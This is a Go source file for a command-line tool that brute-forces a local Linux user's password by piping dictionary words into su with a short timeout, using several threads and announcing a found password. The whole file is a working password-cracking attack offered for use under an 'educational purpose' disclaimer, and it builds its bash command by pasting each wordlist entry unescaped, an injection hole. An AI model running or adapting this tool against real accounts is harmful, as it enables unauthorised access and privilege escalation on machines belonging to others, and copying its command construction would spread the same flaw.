117 lines
2.2 KiB
Go
117 lines
2.2 KiB
Go
/*
|
|
Description: Tool to bruteforce local users through su using a dictionary.
|
|
Auth0r: sml@lacashita.com
|
|
|
|
Use it only as educational purpose.
|
|
*/
|
|
|
|
package main
|
|
|
|
import (
|
|
"bufio"
|
|
"flag"
|
|
"fmt"
|
|
"github.com/go-cmd/cmd"
|
|
"os"
|
|
"sync"
|
|
"os/user"
|
|
)
|
|
|
|
func prepareWordlist(jobs chan string, wordlist *string) {
|
|
file, _ := os.Open(*wordlist)
|
|
scanner := bufio.NewScanner(file)
|
|
for scanner.Scan() {
|
|
jobs <- scanner.Text()
|
|
}
|
|
close(jobs)
|
|
}
|
|
|
|
func fuckSU(jobs chan string, wg *sync.WaitGroup, uzer string){
|
|
defer wg.Done()
|
|
for {
|
|
pazz, ok := <-jobs
|
|
if !ok {
|
|
break
|
|
} else {
|
|
var lacasito string
|
|
lacasito = fmt.Sprintf("echo \"%v\" | timeout 0.1 su %v -c id",pazz,uzer)
|
|
c := cmd.NewCmd("bash", "-c", lacasito)
|
|
<-c.Start()
|
|
|
|
if len(c.Status().Stdout) != 0 {
|
|
fmt.Printf("[+] Pass found: %v\n",pazz)
|
|
os.Exit(0)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func checkWordlist(keyfile *string) {
|
|
var file string
|
|
file = *keyfile
|
|
_, err := os.Stat(file)
|
|
if err != nil {
|
|
fmt.Println("[!] Wordlist doesnt exist")
|
|
os.Exit(1)
|
|
}
|
|
}
|
|
|
|
func checkUser(uzer string) {
|
|
_, err := user.Lookup(uzer)
|
|
if err != nil {
|
|
fmt.Println("[!] User doesnt exists.")
|
|
os.Exit(1)
|
|
}
|
|
}
|
|
|
|
func menu(options int) {
|
|
if options < 4 {
|
|
fmt.Println(`
|
|
|
|
[!] Insufficient Arguments
|
|
|
|
Examples of usage:
|
|
fucksu -u loco -w rockyou.txt
|
|
|
|
Example with 5 threads:
|
|
fucksu -u loco -w rockyou.txt -t 5
|
|
`)
|
|
os.Exit(1)
|
|
}
|
|
}
|
|
|
|
func main() {
|
|
var wordlist string
|
|
var uzer string
|
|
var threads int
|
|
var wg sync.WaitGroup
|
|
jobs := make(chan string)
|
|
flag.StringVar(&wordlist, "w", "", "Like /usr/share/wordlists/rockyou.txt")
|
|
flag.StringVar(&uzer, "u", "", "Username")
|
|
flag.IntVar(&threads, "t", 5, "Threads, by default 5")
|
|
flag.Parse()
|
|
menu(len(os.Args))
|
|
checkWordlist(&wordlist)
|
|
checkUser(uzer)
|
|
fmt.Printf(`
|
|
|
|
______ _ _____ _ _
|
|
| ____| | | / ____| | | |
|
|
| |__ _ _ ___| | _| (___ | | | |
|
|
| __| | | |/ __| |/ /\___ \| | | |
|
|
| | | |_| | (__| < ____) | |__| |
|
|
|_| \__,_|\___|_|\_\_____/ \____/
|
|
[-] Bruteforcing su.... Wait.
|
|
|
|
|
|
`)
|
|
|
|
go prepareWordlist(jobs, &wordlist)
|
|
for i := 0; i < threads; i++ {
|
|
go fuckSU(jobs, &wg, uzer)
|
|
wg.Add(1)
|
|
}
|
|
wg.Wait()
|
|
fmt.Printf("[x] Password not found :_(\n")
|
|
}
|